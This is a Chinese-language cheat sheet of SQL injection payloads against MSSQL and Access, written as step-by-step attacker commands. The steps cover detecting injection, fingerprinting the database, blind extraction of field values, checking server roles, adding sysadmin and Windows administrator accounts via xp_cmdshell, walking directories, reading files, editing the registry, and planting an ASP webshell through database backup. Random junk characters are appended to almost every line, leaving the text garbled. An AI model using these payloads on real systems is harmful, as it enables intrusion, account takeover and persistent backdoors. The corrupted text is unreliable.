1.判断是否有注入;and 1=1 ;and 1=2 otdv;xI9
2.初步判断是否是mssql ;and user>0 0ikA@SAq
: @gW3'
3.注入参数是字符'and [查询条件] and ''=' e'v_eD T^
/lHs]) ,
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ev7A;;
Nb0T3\3W
5.判断数据库系统 fA V.Mj-
VK%ExMSqEh
;and (select count(*) from sysobjects)>0 mssql Zic:d-Q47
{poTA+i
;and (select count(*) from msysobjects)>0 access j9%vw.3b
H?=[9?1wI5
L]X Lv9J0
'w;J)_Yc2
6.猜数据库 ;and (select Count(*) from [数据库名])>0 {j[*:l0Ui
C-Y7n5
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 z`J-J*R>d
A6;[r #C
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 21?>rezJ
pXNH
9.(1)猜字段的ascii值(access) $0M7P5]N*G
|f}`uF
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 H!y-o'Z
MqWM!v-M
(2)猜字段的ascii值(mssql) 6il+hz2&lH
#LYx;[D6
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 )Ps<u- V
grd
fR`3
10.测试权限结构(mssql) #b&=CsW`
{!4ZRNy(k
#\}xyPS
dKPx3Y'
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- q~\[P4m
p|r>tBv?x
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- qm=9!jqC;
)qWO}]F
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- p:!FB8
CS xB)-
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- MA mjoH
1ww~!R
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- &9n=!S'Md
Y=UN`vRR
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- h9%.tGx
1(VskFtZF
;and 1=(select IS_MEMBER('db_owner'));-- /5XdZu6k`h
0NSCeq%;6q
Je#3
lb)i0`AN+
11.添加mssql和系统的帐户 ',Oc+jLR
pAtxEaXh
;exec master.dbo.sp_addlogin username;-- %8"Aq
;exec master.dbo.sp_password null,username,password;-- i?F~]8
y= 1(o3(
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ,ce$y4%(
7ws[Rp8
;exec master.dbo.xp_cmdshell 'net user username password B/EGaYH
cn
;2&
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ;sSRv9Xb
*^%ohCUi
;exec master.dbo.xp_cmdshell 'net user username password /add';-- %G] W Oq=q
`]2y=f<{X
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- <
$rXQ
J\ ?
LC/%AbM
q[.,i{2R}
12.(1)遍历目录 =co6.Il
p#dYNed]'
;create table dirs(paths varchar(100), id int) ^ s/f.#'
e0o)Jo.P
;insert dirs exec master.dbo.xp_dirtree 'c:\' O FlY"OS[
}4*~*NoQ
;and (select top 1 paths from dirs)>0 ^+dL7g?+
eG5xJA^
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) KlRIJOS
eKqo6P:#f
f:A1j\A?
YR~)07
(2)遍历目录 sTYA
<(o) * Zmo
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- L8KMMYh[
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ){i
9,u")
f@xjNm*'Z
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 &m@DK>
i"y @Aj!7
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 :AC( \
!o`h*G-x
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 `c_Wk]i
LZ~}*}jy
meyO=>
;U<rFs40
13.mssql中的存储过程 Qnv)\M1
5q.)K
f+
xp_regenumvalues 注册表根键, 子键 zAd%dbU|
Ivc/g,
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 sMWNzt
)L7h:%h#
xp_regread 根键,子键,键值名 h!]=)7x;
jL#`CD
;exec xp_regread Bjsg!^X7
yUFT9bD
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ,S=ur%
MvlqxJ$
xp_regwrite 根键,子键, 值名, 值类型, 值 oei2$uu
$+[
v17lF
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 8Nf%<nUv
)ocr.wU@
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 _2S(
*
ft4(^|~
xp_regdeletevalue 根键,子键,值名 lyyRyFfQ
)Es|EPCx!
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 p#AQXIF0
kR;Hb3hb
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 QpMi+q
Y
5*Y(%I<
A#Jx6T`a
#?RT$L>n
14.mssql的backup创建webshell ,9~2#[|lq
_B^Q;54c
use model Ouc$M2m0!
&BJ"T
create table cmd(str image); 8A2 _4q@34
#qdfr3
insert into cmd(str) values (''); CR'1,
j
q1|`:
backup database model to disk='c:\l.asp'; j.7BoV
VPXUy=W
X< p KAO\
!"QvV6Lq\
15.mssql内置函数 Xg1QF^
o",J{
;and (select @@version)>0 获得Windows的版本号 _ "H&
y^hCO:`l3
;and user_name()='dbo' 判断当前系统的连接用户是不是sa p`06%"#
Lk1e{!a
;and (select user_name())>0 爆当前系统的连接用户 1gDsL
+I r
;and (select db_name())>0 得到当前连接的数据库 C7T}:V](q
F'9#dR?
FWDAG$K@0
C{U"Nsu+1
16.简洁的webshell jk fc=O6^
RD0=\!w *5
use model 4b:q84
<e@+w6Kp'7
create table cmd(str image); QL`Hb p
MPD<MaW$
insert into cmd(str) values (''); xv>]e <":
Alpk5o5B
backup database model to disk='g:\wwwtest\l.asp';